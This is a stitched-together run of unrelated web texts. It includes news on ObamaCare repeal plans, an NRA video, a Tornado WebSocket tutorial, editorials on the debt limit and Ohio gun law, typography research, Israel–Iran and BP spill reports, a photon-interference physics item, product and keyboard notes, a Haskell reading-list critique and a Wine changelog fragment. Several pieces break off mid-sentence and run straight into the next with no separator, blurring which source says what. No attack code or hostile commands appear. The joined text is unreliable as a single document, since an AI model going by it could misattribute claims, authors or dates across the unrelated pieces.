Incoming GOP President Donald Trump won the 2016 White House race in part on a vow to repeal ObamaCare on “day one” of his administration and to replace it with “something terrific.” But the dismantling process will be decidedly longer and more complicated.
Top congressional Republicans in the weeks after Trump’s Nov. 8 win started saying that replacing ObamaCare could take two to four years.
A top Senate aide declined Tuesday to give a timeline on when the resolution -- which must pass in two House and two Senate committees -- will be passed and ObamaCare will officially be repealed.
The aide said the focus is on getting through the process “as quickly as possible.”
However, Enzi’s office said that Senate debate on the issue will begin next week and that the committees should hold preliminary “repeal legislation” votes by Jan. 27.
The House is expected to begin debate on the issue next week.
To be sure, Republicans are now the party under pressure with ObamaCare -- after years of crticizing the law and now that they finally have a president who will sign repeal-and-replace legislation.
In addition, some of the most conservative House Republicans are already raising concerns about their leaders wanting multiple years to implement a replacement plan, fearing backlash from voters at home.
And Trump’s victory over Democratic presidential nominee Hillary Clinton has spotlighted her party’s argument that Republicans have no viable ObamaCare replacement, despite years of criticism and promises.
Meanwhile, President Obama will be on Capitol Hill on Wednesday to talk with fellow Democrats about how to save his signature health care law.
And Democratic congressional leaders are urging rank-and-file members to hold rallies to tell voters about the importance of preserving ObamaCare. They have planned a national “Day of Action” on the matter for January 15.
Dismantling the government-mandated insurance without an alternative for the roughly 20 million Americans now enrolled could indeed be a political disaster, particularly before the 2018 midterms.
ObamaCare was created to drive down overall insurance costs by reducing emergency-care visits and other uninsured medical expenses.
However, lower-than-projected enrollment among younger, healthy Americans and insurance companies dropping out of the program have contributed to significantly increasing premium costs.
And while 2016 voters disaffected with big government will likely want Trump to fulfill his repeal-replace promise, the president-elect and others have hinted at keeping some parts of ObamaCare, including young adults being allowed to stay on their parents’ plan.
Late Tuesday, the House passed the set of rules that will govern the body through the 115th Congress -- minus a controversial provision quietly inserted late Monday by Republican members to gut the independent Office of Congressional Ethics and put it under lawmakers' control.
The provision was removed under pressure from Trump, as well as furious Democrats.
The approved rules package, however, now includes provisions that allow Republican leaders to fine members who use electronic devices to take pictures or video from the House floor.
The change comes six months after Democrats live-streamed a sit-in on the House floor for 26 hours to call attention to their demand for votes on gun control.
Under the new rules, first-offenders get a warning. The next offense comes with a $500 fine, and ensuing ones could cost members $2,500 apiece.
The Associated Press contributed to this report.In a video posted this week by the NRA, one of the organization’s commentators said competency with a gun should be a “necessary skill” for children to be able to advance to the next grade in school, just like reading and writing.
In the video titled “Everyone Gets A Gun,” commentator Billy Johnson argued U.S. gun policy should be driven by the “need” people have to use guns.
“Gun policy driven by our need for guns would insist that we introduce young people to guns early and that we’d give them the skills to use firearms safely,” Johnson said |
event. Finally, let's examine the code for the server that uses the Tornado framework: import tornado.ioloop, tornado.web, tornado.websocket, os.path class MainHandler(tornado.web.RequestHandler): def get(self): self.render("CountClient.html") class ClientSocket(tornado.websocket.WebSocketHandler): def counter(self): self.write_message(str(self.count)) self.count += 1 def open(self): print "Opened: " + str(self) self.count = 0 self.timer = tornado.ioloop.PeriodicCallback(self.counter, 1000) self.timer.start() def on_close(self): print "Closed: " + str(self) self.timer.stop() settings = { "static_path": os.path.join(os.path.dirname(__file__), "static"), } application = tornado.web.Application([ (r"/", MainHandler), (r"/socket", ClientSocket), ], **settings) if __name__ == "__main__": application.listen(8888) tornado.ioloop.IOLoop.instance().start() This uses the common pattern of mapping URLs to classes. A typical handler, like MainHandler which maps from /, inherits from the basic RequestHandler. All this does is send CountClient.html back to the client browser. CountClient.html contains the JavaScript code generated by our CoffeeScript that turns around and makes the WebSocket connection back to /socket, which maps to the ClientSocket class. For each client that opens a WebSocket back to the server, a new ClientSocket object is created. The open method creates a new associated count field and starts a PeriodicCallback to call the counter method every second. If you've seen eventing systems such as Twisted, this sort of programming will be familiar to you: you do everything via the main reactor, which in this case is called tornado.ioloop (if you're not familiar with event-based programming, it takes a bit of getting used to and I don't actually know of any good introductions to the topic -- perhaps readers can suggest some in the comments). Although this example was a bit frustrating to get working -- mostly because the lack of support in browsers -- the thought that someday we'll be able to expect WebSocket support everywhere is quite exciting, as it will significantly empower us as programmers and make our applications much more responsive.
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Bruce Eckel (www.BruceEckel.com) provides development assistance in Python with user interfaces in Flex. He is the author of Thinking in Java (Prentice-Hall, 1998, 2nd Edition, 2000, 3rd Edition, 2003, 4th Edition, 2005), the Hands-On Java Seminar CD ROM (available on the Web site), Thinking in C++ (PH 1995; 2nd edition 2000, Volume 2 with Chuck Allison, 2003), C++ Inside & Out (Osborne/McGraw-Hill 1993), among others. He's given hundreds of presentations throughout the world, published over 150 articles in numerous magazines, was a founding member of the ANSI/ISO C++ committee and speaks regularly at conferences.
This weblog entry is Copyright © 2011 Bruce Eckel. All rights reserved.The debt limit is supposed to make Congress think twice before passing tax cuts or spending increases that add to the national debt. Instead, lawmakers routinely support policies without paying for them — like the Bush-era tax cuts and two wars — and then posture and protest when their decisions require raising the debt limit.
So it will be once Congress returns from its spring recess. The debt limit — $14.3 trillion — will be hit as early as mid-May. If it is not raised in time, the government will have to use increasingly unorthodox tactics to meet its obligations, which would disrupt the financial markets and the economic recovery.
Default is theoretically possible, though public outrage over the mess would likely compel Congress to raise the debt limit before then. The best approach, the most sensible and mature, would be to pass a clean and timely increase.
However, nothing sensible or mature is on the horizon. Republicans have vowed to extract more heedless spending cuts in exchange for their votes to raise the debt limit. To that end, they seem likely to demand changes to the budget process, like a balanced budget amendment to the Constitution, or spending caps.
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Such reforms have a glib appeal — who can oppose something as prudent-sounding as balanced budgets? In fact, they are a dodge, because they cut spending broadly without lawmakers having to defend specific cuts. They are also often wired to block tax increases, without which deficit reduction efforts are not only unfair, but also will not succeed.How to Tune Typography Based on Characters Per Line
In my research into Golden Ratio Typography, I focused primarily on the core geometric properties of text—font size, line height, and line width.
But there’s another facet of text that nearly all of the existing research on typography deals with: It’s called characters per line (CPL).
If you’ve ever read a study on typography, you’ve no doubt encountered CPL. Many of these studies recommend “optimal” CPL ranges that include anything from 55 to 100 CPL.
With an “optimal” range that large, the CPL you use on your site ultimately comes down to personal preference. This raises one huge question:
How can you tune your typography to an exact (or, at least approximate) CPL?
Tuning Text for Characters Per Line
Before you can tune your text, you have to understand how CPL works and what the consequences of different CPLs are. Here’s the deal:
For any font size, as the CPL increases, the line width also increases.
Figure 1. For a given font size, line width increases as CPL increases. Designers must consider this behavior when determining how wide a column of text should be.
This has some significant design implications, and worse, most designers don’t even consider CPL when choosing a column width for their text. They simply pick a column width, and however many CPL that results in…well, that’s what you get.
Frankly, I can’t stand this imprecise approach. Every decision—especially those involving your design and typography—should have a meaningful rationale behind it.
The bottom line here is that your typography should dictate how wide your columns of text are, not vice-versa.
So, how can you tune your typography to a specific CPL and, therefore, a specific width?
There are two potential approaches you can take here. You can:
Use the good ol’ trial and error method, whereby you select different widths, count the characters per line, and settle on the width that you prefer. Figure out a programmatic way to predict CPL, and then choose a width based on this prediction.
Choice number one is a laborious pain in the rear, and it gets old really quickly. On top of that, it’s simply an imprecise approach, and we all know how I feel about that…
Contrary to number one, choice number two sounds great and makes a ton of sense. Problem is, you don’t have a programmatic way to predict CPL…yet.
Using Math to Predict CPL
Recently, I became obsessed with the idea of predicting CPL at any font size, so I set out to uncover a mathematical relationship between font size and CPL.
To do this, I examined text samples in the range of 40–100 CPL at font sizes between 5 and 26px for various fonts. You can see one of my samples in Figure 2 below.
Figure 2. Research sample with Helvetica Neue set to 83 CPL. To determine the average character width at a particular font size, you can divide the resulting width (shown in gray next to each line of text) by the CPL. Click to enlarge.
As I stated above, my goal was to determine the mathematical relationship between font size and CPL for particular fonts (obviously, this relationship will differ slightly from font to font). Here’s how I did it:
Using text samples like the one in Figure 2, I first calculated the average character width (c w ) at each font size by dividing the resulting line width by the CPL value.
Not surprisingly, as the font size increased, the average character width also increased. The next step, however, is where things started to get interesting.
To relate font size and character width, I simply divided the font size (f) by the newly-calculated average character width:
And this is where I noticed something extraordinary—for any font, the value (μ) from the above equation remains constant, even at different font sizes. In other words…
Each font has a character constant, μ, associated with it that relates the font size to the width of each character.
It may not be obvious at first, but this character constant is awesome because it establishes a mathematical relationship between the vertical (font size) and horizontal (character width) dimensions of text.
For instance, if you have a font size of 12px, and the font you’re using has a character constant of 2.3, then 2.3 characters will fit in every 12px increment of width (on average).
Thanks to this relationship, it’s possible to predict CPL mathematically. Here’s how it’s done:
Start with a desired CPL value, and then divide it by the character constant for the font you’re using. This results in a width factor, x w, which is specific to the desired CPL and font:
The width factor from the equation above tells you how many increments of width are needed to reach the desired CPL. Once you have the width factor, all you need to do is multiply it by the font size to get the predicted line width, w, that will result in the desired CPL.
The aforementioned equations can be simplified and combined into one master equation that relates CPL, font size, and line width for any font:
Alright—now that you’ve seen the basic math behind CPL, let’s bring this together by looking at an example.
Sample Predicted Width Calculation Based on CPL
In this example, the goal is to achieve 75 CPL at a font size of 16px for a font that has a character constant of 2.28. You can use the master equation from above to solve this problem:
So, for a font with a character constant of 2.28 at a size of 16px, a width of 526px will yield approximately 75 CPL.
But what if you wanted to know how wide your text would have to be for this same font at 18px? This is easy because you can simply substitute a new font size into the master equation, like so:
So while you’d need 526px to achieve 75 CPL at a font size of 16px for this particular font, you’d need 592px to achieve the same CPL at a font size of 18px. Pretty sweet!
A Closer Look at Character Constants
The most important concept in CPL tuning is undoubtedly the character constant, μ.
As I stated earlier, the character constant is different for every font. In order to build a CPL prediction algorithm, it’s necessary to examine each font individually to determine its μ value.
This process is more complicated than it first seems, simply because different text samples have different average character widths (depending on the characters that appear in that particular sample).
Figure 3. Both text samples are set to 68 CPL, but the line widths (and thus, the average character widths) are different because the samples contain different characters.
When researching character constants, it’s possible to account for these differences by taking a large enough data sample. If you were to test enough different text samples with each font, you’d eventually nail down a statistically significant value for μ.
Ultimately, though, the character constant is only useful for predicting an approximate CPL value—actual CPL values will differ from line to line depending on the characters involved.
Here’s a quick rundown of the character constants I’ve compiled through my research thus far (note: none of these are statistically significant):
Serif Fonts
American Typewriter — 2.09
Baskerville — 2.51
Georgia — 2.27
Hoefler Text — 2.39
Palatino — 2.26
Times New Roman — 2.48
Sans-serif Fonts
Arial — 2.26
Gill Sans — 2.47
Gill Sans 300 — 2.58
Helvetica Neue — 2.24
Lucida Grande — 2.05
Tahoma — 2.25
Trebuchet MS — 2.2
Verdana — 1.96
Monospace Fonts
Courier New — 1.67
The character constant provides a new, algorithmic way to understand how fat or skinny a font is. Lower character constants are “fatter,” and higher constants are “skinnier.”
Simply put, the character constant is an interesting new way to consider different typefaces.
It will prove handy for designers who are looking for a quick and precise way to select fonts that will exhibit particular aesthetics and spatial properties.
Also—and I really like this—smart programs can use the character constant to work with fonts in a more precise, more predictable way.
Update: A commenter pointed out a perfect potential application—building smarter CSS font stacks based on similar character constant values!
Math, Schmath. Software to the Rescue!
When I unveiled the Golden Ratio Typography Calculator, the point was to make it easy to explore finely-tuned typography without having to do heavy mathematical lifting.
Now, I’m pleased to announce that I’ve incorporated this new CPL research into the calculator, too. All that math you saw above? Yeah, you won’t have to do any of it :D
The upgrades to the typography calculator are powerful. Not only can you optimize your typography based on characters per line, but you can also explore the impact of different fonts on CPL in any setting!
Change fonts by using the font selector that appears on any typographical recommendation, and you can observe how the approximate CPL changes based on the typeface.
Figure 4. Use the font selector on any typographical recommendation to see how CPL changes relative to the typeface. Fascinating, I tells ya!
The Bottom Line
Typography is the most important component in all of design. There’s no doubt about it—design is a language of communication, and words are the most powerful communication tool we have.
It makes sense, then, that we should strive to understand as much as possible about typefaces, their metrics, and how they work.
Using the Golden Ratio Typography Calculator, you can explore the finer points of typography like never before.
You’ll gain insight into line heights, line widths, CPL, and how different fonts behave (grr, baby!). Best of all, you’ll be able to create beautiful typography on your site thanks to the precise recommendations from the calculator.Prostitution is illegal in Ohio except, it seems, when the Ohio House of Representatives sells itself to the handgun lobby.
In a largely partisan 59-28 vote last week, the Republican-run House sent Ohio's Senate a bill to soften the state's concealed-carry law. Five House Democrats voted for the bill; no Republicans voted against it.
The Senate is likely to ditto the bill after its summer break and send it to Republican Gov. John Kasich to sign.
Fueled by campaign donations and political threats, the gun lobby keeps pushing the boundaries. And supposedly responsible Ohio officeholders, like the British at Munich, keep caving.
House Bill 495, sponsored by Republican Terry Johnson, of the Portsmouth area, would soften the definition of "unloaded" for firearms transported in a motor vehicle.
Under current law, those without a concealed-carry permit may not transport loaded firearms in vehicles. That would continue. But the Johnson bill would instead allow them to transport loaded magazines, as long as they aren't inserted into firearms. That's comforting, especially to the families of peace officers.
Likewise reassuring: Holders of concealed-carry permits will no longer have to provide a new certificate of competency when seeking to renew their permits.
About our editorials Plain Dealer editorials express the view of The Plain Dealer's editorial board -- the publisher, editor and editorial-writing staff. As is traditional, editorials are unsigned and intended to be seen as the voice of the newspaper. • Talk about the topic of this editorial in the comments below. • Send a letter to the editor, which will be considered for print publication. • Email general questions or comments about the editorial board to Elizabeth Sullivan, editor of the editorial page.
As to gifts to the gun lobby, Ohio's slope grows more slippery with every General Assembly session. This could have been predicted -- and was -- when then-Gov. Bob Taft foolishly signed a bill lifting Ohio's concealed-carry ban in January 2004. And a year ago June 30, Kasich, also foolishly, signed a bill allowing holders of concealed-carry permits to take their firearms into bars.
Before another legislative session passes, the one place Ohioans probably won't be allowed to carry concealed firearms -- permit or not -- may be the Statehouse.
A note from Elizabeth Sullivan: A previous version of this editorial incorrectly described current law and the changes this bill would bring. We thank those commenters who quickly pointed out the errors, allowing us to identify and fix them.As machine learning and the use of artificial intelligence spread, technologists are running into questions over when A.I. can get too real — and too creepy.
One area where that is increasingly cropping up is in speech that is powered by technology, John Markoff writes. As voice-controlled digital assistants like Siri, from Apple, and Alexa, from Amazon, are being embedded in devices like the iPhone and the Echo speaker, software designers are paying attention to speech and how to cross the “uncanny valley,” the point at which the technology becomes too creepy and weird.
The phrase “uncanny valley” was coined in 1970 by the Japanese roboticist Masahiro Mori. It’s a phenomenon bedeviling more technologists these days, as machine learning start-ups sprout and giant tech companies including Google and Facebook dive headlong into A.I. It can play into our worst fears about artificial intelligence — here’s a list of creepy uncanny valley moments — and has even spawned a futuristic play.JERUSALEM (Reuters) - The United States has turned down Israeli requests for military hardware to help it prepare for a possible attack on Iranian nuclear facilities, a frontpage report in Israel’s Haaretz newspaper said on Wednesday.
Iranian President Mahmoud Ahmadinejad looks on as he waits for his Algerian counterpart Abdelaziz Bouteflika in Tehran August 11, 2008. REUTERS/Morteza Nikoubazl
The unsourced report said the Americans had warned Israel against carrying out any such attack and had refused to supply offensive military hardware. Instead they had offered to improve the Jewish state’s defenses against surface-to-surface missiles.
Interviewed on Israeli Army Radio, Defence Minister Ehud Barak did not deny the Haaretz story, but refused to discuss it. “It would not be right to talk about these things,” Barak said.
The West accuses Iran of trying to develop nuclear weapons. Iran denies this and says its nuclear program is only to generate electricity. It has vowed to retaliate against Israel and the United States if attacked.
Israel, which is believed to have the Middle East’s only atomic arsenal, says a nuclear-armed Iran could threaten its existence.
The Haaretz report, by one of its senior columnists, did not specify what weapons systems Israel had requested. It said Washington had told Israel its aircraft would be denied permission to use Iraqi airspace to reach Iran.
Barak said Iran was a “threat to the whole world order, and there are many actions to be made in the realm of intelligence and preventive measures”.
He said the United States “does not see an action against Iran as the right thing to do at the moment”, but shared Israel’s view that “no option should be removed from the table”.
The United States said last week that Iran, by ignoring demands that it halt sensitive nuclear activities, had left the U.N. Security Council no choice but to increase sanctions.
A spokesman for Israeli Prime Minister Ehud Olmert declined to comment on the Haaretz report but said a stronger global diplomatic push was required against Iran.
“Israel supports international efforts to place pressure on the regime in Tehran to cease nuclear enrichment. It’s time for the international community to send a clear message to the Iranian leadership. Only if diplomacy is exercised seriously, will diplomacy succeed,” the spokesman, Mark Regev, said.
Another Israeli official familiar with the issue, speaking on condition of anonymity, said: “The American military has made clear it doesn’t want Israeli military action at this time”.(This article is published in "The Louisiana Weekly" in the Jan. 26, 2015 edition.)
The penalty phase of the Gulf spill trial, pitting the federal government against BP Exploration & Production Inc. and Anadarko Petroleum Corp., began in U.S. District Judge Carl Barbier's courtroom on Poydras St. last Tuesday. This third and final segment of a trial without a jury could extend for another two weeks in New Orleans and is focused on U.S. claims for civil penalties under Section 311 of the Clean Water Act.
Two years ago, the Gulf states thought BP might pay as much as $21 billion in CWA penalties, based on a maximum $4,300 per barrel spewed in 2010. But on January 15, before this trial's phase three began, Barbier ruled that 3.19 million barrels of oil were discharged into the Gulf versus the feds' 4.2 million estimate. That count makes BP's highest possible CWA penalty $13.7 billion. An expected smaller fine affects Louisiana's ability to fund its $50 billion, 50-year 2012 coastal master plan. Under the 2012 RESTORE Act, 80 percent of civil and administrative CWA penalties for the Deepwater Horizon disaster will be directed to five Gulf states.
BP subsidiary BPXP in Houston was the lease holder and operated the Macondo well when it exploded off Louisiana's southeast coast on April 20, 2010, killing eleven rig workers. A nearly three-month gush polluted coastal areas in five states. Anadarko owned a 25-percent, non-operating interest in the well.
BP acted with gross negligence in precipitating the April 20, 2010 spill, Barbier ruled last September. This mid-January, he found that BP wasn't grossly negligent or reckless in its source-control efforts to stop the spill.
In opening comments Tuesday, U.S. Justice Department attorney Steven O'Rourke said BP will try to make the case that it has mitigated for the spill with cleanup work and by compensating victims. But he said BPXP broke the law when the rig exploded and the spill occurred. After that, the company "broke the law lying during the response," he said. Then BP began to comply with regulations that require cleanup and payment of claims. "Now they want credit for mere compliance," he said.
O'Rourke said BP continues to focus on its own hardships rather than the harm it caused. BP and Anadarko will say they've paid enough, "as though we should be thanking them for their expenditures," he said. But BP had to clean up oil to avoid losing its operating license in the Gulf. Meanwhile, for its part, Anadarko seeks no CWA penalty, he noted.
BP will argue it has spent over $40 billion on response claims, damages, litigation and other items, O'Rourke said. But he added that shouldn't be surprising since the disaster was the biggest U.S. offshore spill ever. O'Rourke conceded that BPXP made some payments that weren't required by law or the Unified Command in charge of the cleanup, and he said they could be considered if Judge Barbier is inclined to trim BPXP's CWA penalty from a possible $13.7 billion. "But you should stay close to that maximum amount because of the seriousness" of the disaster, he said.
"You can consider the criminal fine, and you should consider payments that were made by BPXP above and beyond what was required by law," O'Rourke said. The fine combined with those payments totals $2 billion. "You should not deduct all of that, but they're factors," he said, adding that the company's CWA civil penalty should be well north of $11.7 billion.
As for a civil penalty against Anadarko, "the maximum is $3.5 billion but we don't think you should impose anything that high," O'Rourke said. However, he said it should be significantly above a $1 billion CWA civil penalty that Deepwater Horizon rig owner Transocean paid in a 2013 settlement.
On Tuesday, Kirkland & Ellis attorney Mike Brock, representing BP, said his client spent $16 billion on its immediate spill response, which included capturing, burning and skimming oil, and another $34 billion in a continued response. BP implemented a spill response plan as soon as the explosion occurred, and its joint effort with the U.S. Coast Guard "significantly changed the outcome to the environment," he said. Thirty-seven percent of oil discharged from the well was removed, he said.
Brock noted that BP has already paid a CWA criminal penalty of $1.2 billion. He said BP's spill-related payments include $11.2 billion in Gulf Coast claims; $1 billion for researchers to collect and analyze environmental data; $500 million for an independent research group in the Gulf; nearly $600 million for a Vessels of Opportunity program employing fishermen to remove oil; millions of dollars that increased over time to each Gulf state to help with their spill responses; $230 million to Louisiana, Mississippi, Alabama and Florida for promoting tourism; $100 million for a rig workers' fund; and money for seafood testing and marketing.
Brock said BP remains committed to a clean Gulf and currently staffs two "fire houses" on the coast with standby personnel to deal with any remaining oil. He said the spill's impact on fish, birds, sea turtles, dolphins and coral was very limited. "There's an absence of measurable negative impacts" on fish populations, he said. "From the U.S. live-bird-oiling data collection observed in the relevant period, over 99 percent have no visible oil." Of the 400 sea turtles collected "through a very vigorous, very effective rehabilitation program, almost all were returned to the Gulf," he said.
Brock said the company's Gulf activities generate 2,300 jobs. He said BPXP's current value, considering the recent drop in oil prices, is $5.1 billion. The company can't afford possible CWA penalties well in excess of that amount. Judge Barbier, however, asked if penalties couldn't be structured so that they're paid over a number of years.
The U.S. government's witnesses last week said the spill's harm to the environment and coastal residents was greater than BP maintains. On Wednesday, professor Donald Boesch, president of the University of Maryland Center for Environmental Science, said post-spill studies indicated that oxygen-depleted seaweed reduced fish habitat. Ocean fish were potentially impacted by the disaster. A number of birds, mammals and turtles were stranded on beaches during the spill. Turtle carcasses found along the Gulf were well above historical rates. Almost 15,000 young turtle hatchlings were moved for their protection and released elsewhere.
"The number of dead dolphins washed up on beaches during 2010 went way up, and they went way up in particular during the months in which the spill was occurring," Boesch said. The oiled birds that were found could have been the tip of the iceberg, and many more may have been killed than were collected.
Boesch, a Ninth Ward native of New Orleans, said of the 1,100 miles of oiled Gulf coast, 220 miles were moderately to heavily oiled. Some coastal marshes were permanently lost. "In Louisiana, marshes don't come back once they're eroded and don't regrow without intervention" by pumping in dredged material, using river-sediment diversions or taking other steps, he said.Quantum interference involving three photons has been measured by two independent teams of physicists. Seeing the effect requires the ability to deliver three indistinguishable photons to the same place at the same time and also to ensure that much more common single-photon and two-photon interference effects are eliminated from the measurements. As well as providing deep insights into the fundamentals of quantum mechanics, three-photon interference could also be used in quantum cryptography and quantum simulators.
When a stream of single photons travel through a double slit they will build up an interference pattern on a detector behind the slits – an example of single-photon interference. An example of two-photon interference is the Hong–Ou–Mandel (HOM) effect, which involves two photons entering a beam splitter with two exit ports. If the photons are identical and arrive at the same time, they will interfere and will always exit the same port of beam splitter. If these two criteria are not met, there is a 50% chance of each photon exiting either port.
Trio in a tritter
Now, a three-photon version of the HOM effect has been created by team led by Ian Walmsley of the University of Oxford in the UK. Their experiment begins with the creation of three independent photons in three different sources. These are sent to a fibre-optic based interferometer called a tritter, which has three inputs and three outputs. The team looked at the probability that all three photons exited the same output portal. To isolate the effects of single- and two-photon interference, they control something called the “triad phase” of the three photons. This is non-zero only if the photons are partially distinguishable – but not fully distinguishable. They were able to show that the probability for three photons emerging from one port varied with the triad phase, just as expected for three-photon interference. And crucially, single- and two-photon effects remained constant.
Meanwhile at the University of Waterloo in Canada, Thomas Jennewein and colleagues did their experiment using a photon source that emits three photons in an entangled quantum state. The trios are created by firing a single photon into a series of nonlinear crystals, each of which is able to convert one photon into a pair of entangled photons. Very occasionally an entangled trio emerges and is then sent into an interferometer that has two output ports. By changing the relative phases of the three photons, Jennewein’s team saw the probability of three photons emerging from one port vary as expected from three-photon interference. The probability of two photons emerging from the same port remained the same, however, suggesting that the team was observing genuine three-photon interference.
One possible application of the three-photon interference created in the experiments is three-photon sharing. This involves a secret quantum key that is shared by three parties, but can only be used by all three parties together. Three-photon interferometry could find use in quantum-sensing applications and also in a quantum-computing technique called boson sampling.
The measurements are described in two papers in Physical Review Letters.It would technically be possible to describe Project Stealth in a way that wasn't just, "it's like Spies vs Mercs from the old Splinter Cell games." Possible, but pointless, because, however you did it, you'd still be describing something that was just, "it's like Spies vs Mercs from the old Splinter Cell games."
It's a "community-driven" indie project that offers 2v2 multiplayer matches in which a team of spies tries to use their sneakability to outwit a team of mercenaries. It's being built in Unreal Engine 4 and, well, basically it's like Spies vs Mercs from the old Splinter Cell games. Its creators have now relaunched the game's website, and posted a new set of prototype screenshots.
"We want the player to find a good partner to make strategies and tactics with," write the team, on explaining what makes the game 'unique'. "Also we will reward partners for playing together often. This is the best way to enjoy a Spy vs Mercs game, in our opinion."
The game is still in a "done when it's done" phase, with no launch date or release price announced. For more, head over to the official site.Photo: Ford
Photo: Ford
Hyundai's 2011 Sonata Hybrid wasn't the only new hybrid car today. Ford's Lincoln division also debuted the MKZ hybrid, the brand's first hybrid car. Not surprisingly, it shares many things with the Ford Fusion hybrid, most notably the hybrid system and the SmartGauge instrument cluster that rewards you for driving in a fuel-efficient manner.
The combined gasoline engine and electric motor provide 191 net horsepower, and in EV mode, the MKZ can go up to 47 mph if you don't accelerate too briskly.
It is projected to get 41 MPG in the city like the Ford Fusion hybrid. Lincoln hasn't released the highway numbers yet, which either means they don't have them yet or that they are lower than the Fusion's 36 MPG.
Photo: Ford
Those of you who've been in the Fusion hybrid will recognize this.
SmartGauge with EcoGuide - Ford's highly successful interactive technology provides real-time information to help drivers maximize fuel efficiency, and coaches drivers on how to optimize hybrid performance. Lincoln takes SmartGauge to the next level of engagement by giving drivers enhanced positive feedback on long-term fuel efficiency and driving performance through the "growth" of virtual small flowers on the system's right-most screen. Lincoln's white flowers, inspired by apple blossoms, remain permanently unless long-term fuel economy is reset.
No official word yet on price or availability, the our friends over at ABG have heard that the MKZ hybrid will be priced "below the Lexus HS 250h" and will be available this fall.
Via Ford
More Hybrid Cars
2011 Sonata Hybrid
Mazda Signs Deal to License Toyota's Hybrid Powertrain Technology
Honda Has 10x More Orders for CR-Z Hybrids Than Expected
Lexus Confirms CT 200h Compact Hybrid-Only Model for U.S. MarketTerminology
FROM SWITCH CENTER (FSC)
When discussing the spacings around the edge of the plate, the terminology "from switch center" (FSC) will be used. In that sense, the MX switch cutouts themselves are 7mm FSC, or 14mm x 14mm. The standard plate designs for OLKB are all 12mm FSC - this means the plates come out 2.5mm from the edge of the keycaps. Some 9.5mm FSC plates/cases are also being planned.
GRID SPACING (GS)
The Planck, Atomic, and Matias boards use a 19mm grid spacing (GS), meaning there is 19mm between the switch centers for two normal, 1 unit keys - with this, 1u (unit) can be defined as 19mm. Other common boards (Cherry, etc) have a 19.05mm GS.
View All OLKB parts on github
PLANCK
The 12mm FSC plates are 233mm x 81mm in size and 1.54mm thick (16 gauge stainless steel), with 2.5mm (previously 3mm) diameter mounting holes in the following locations (distances from top left corner when looking down) (x, y):
(21.5mm, 21.5mm)
(211.5mm, 21.5mm)
(116.5mm, 40.5mm)
(21.5mm, 59.5mm)
(211.5mm, 59.5mm)
The PCB was designed to fit into the milled cases - the walls of which start at 8.9mm FSC, and are 3.1mm thick. The inside corner radius of the walls is 6.35mm - this makes the case cheaper to produce, and comes right to the edge of the keyswitches.
3D PRINT YOUR OWN PLANCK PARTS!
View all of the parts on github. (Atomic and other parts are available too)
Adam Forland has kindly proto-printed the Planck bottom using the plans I made for the Planck milled bottom. This 6-piece design turns out slightly better due to ABS's tendency to warp, and can be easily glued together.
The Planck bottom has 1.6mm diameter holes, which are ready to tap with a 2mm/M2 tap for the assembly kits I sell.
The Planck middle piece is designed for use with the regular bottom plate (and top plate), and shares the same side clearances as the bottom piece.While reading through this week’s Issue 160 – December 1, 2010, of the “Haskell Weekly News,” by Daniel Santa Cruz, on the Haskell-Cafe mailing list, I came across the following interesting blog entry describing a reading list for “mathematically-impaired computer scientists trying to learn category theory”:
Category theory for Haskell programmers | Geoff Hulette
In this list, Hulette describes himself as “a computer scientist and Haskell programmer without a strong background in advanced math.” Now, I am always interested in writings on category theory for students of Haskell who are not necessarily mathematicians.
He started out by recommending Brent Yorgey’s “Typeclassopedia.” While I can understand the motivation for beginning a reading list with a type class description, and have much respect for Brent Yorgey, I would have preferred to have this reference provided later in the list, and instead begun the list with a more elementary introduction to category theory per se, perhaps along the lines of Conceptual Mathematics: A First Introduction to Categories, by F. William Lawvere and Stephen H. Schanuel (of which I have a copy of the first edition). The main problems with Lawvere’s book are that it is not related to Haskell, and proceeds somewhat too slowly (for me). Hulette does provide a reference to this book, but only at the end of his reading list.
Although Hulette does provide a reference to Benjamin Pierce’s Basic Category Theory for Computer Scientists, he neglects to provide one for the book Category Theory, by Steve Awodey. Awodey’s book has been highly recommended as an introductory book for category theory, and probably should be included in any such list.
Hulette does, however, provide an interesting reference for a collection of tutorial videos on category theory by Eugenia Cheng. I had not known of these videos before, and it can often be helpful to supplant written material with audio/visual supplements.
Hulette also recommends browsing through the category-extras package on Hackage, and reading the type annotations to provide intuition.
But then he includes a suggestion to look at Saunders Mac Lane’s Categories for the Working Mathematician. Although frequently mentioned as the definitive text on category theory, the publication, as the title indicates, is intended for “the working mathematician”; as such, it may not really be suitable for “mathem |
etFwOpenPort needed) 34170 Cabri II Plus 1.4 fails on startup 34386 Microsoft Visual Studio Test Agent 2010 Configuration Tool crash when apply settings is performed 34950 Microsoft Visual Studio 2005 Tools for Applications installer crashes 35670 iTunes 10.2.2 'DifXInstall32' sub-installer crashes on unimplemented function DIFXAPI.dll.SetDifxLogCallbackW 35804 Open file window makes Photoshop CC crash 35987 Adobe Photoshop CC file open dialog crashes the program 36241 valgrind shows a leak in comdlg32/tests/printdlg.c 36863 Mass Effect 3 [Origin] crash on startup (broken EA Origins in-game overlay/hook engine 'igo32.dll' needs 'opengl32.dll' prelinked < 2GB address range) 37140 Photoshop CC 2014 Open and Save dialog missing features 37231 Set iframe's src failed. 37262 "We got a big error here" in Diablo 2 d2loader and wine >= 1.7.25 37512 Unreal Engine 4 Elemental benchmark demo crashes on startup ('K32GetPerformanceInfo' must not pass 'PERFORMANCE_INFORMATION' directly to 'NtQuerySystemInformation') 37534 configure gives incorrect warning when Xrender can't be found due to missing libXext 37546 mshtml: Possible null pointer dereference: post_data (Cppcheck) 37563 Skype 6.x crashes trying to make an audio call (DestroyIRichEditOle must take reference count into account) 37588 Visual Studio 2010 installer requires prefix restart in 'Windows Vista' mode (MSI component version 4.5.6001.22308 upgrade) 37599 AlphaShadow v1.2 - AlphaVSS Volume Shadow Copy Library Sample Client (.NET 4.0 app) needs VSSAPI.DLL 37622 Mixxx 1.11.0 installer fails (msiexec does not support /update option) ---------------------------------------------------------------- Changes since 1.7.31: Alexandre Julliard (2): d3d9/tests: Don't require a WM_MOVE message. msxml3: Update pure_parser directive to avoid a deprecation warning. André Hentschel (16): winedbg: Declare debug channel only when needed (Clang). msxml3: Remove unused strings (Clang). gdi32: Remove unused string (Clang). d3d10core: Remove unused struct (Clang). dwrite: Remove unused code (Clang). comctl32/tests: Remove unused structs (Clang). crypt32/tests: Comment out an unused struct (Clang). advapi32: Remove unused strings (Clang). winecfg: Remove unused strings (Clang). gdi32: Remove unused function (Clang). d3dx9_36/tests: Remove unused functions (Clang). winedbg: Declare debug channel only when needed in be_x86_64 (Clang). ieframe/tests: Remove unused string (Clang). control: Remove unused string (Clang). jscript: Remove unused code (Clang). dinput: 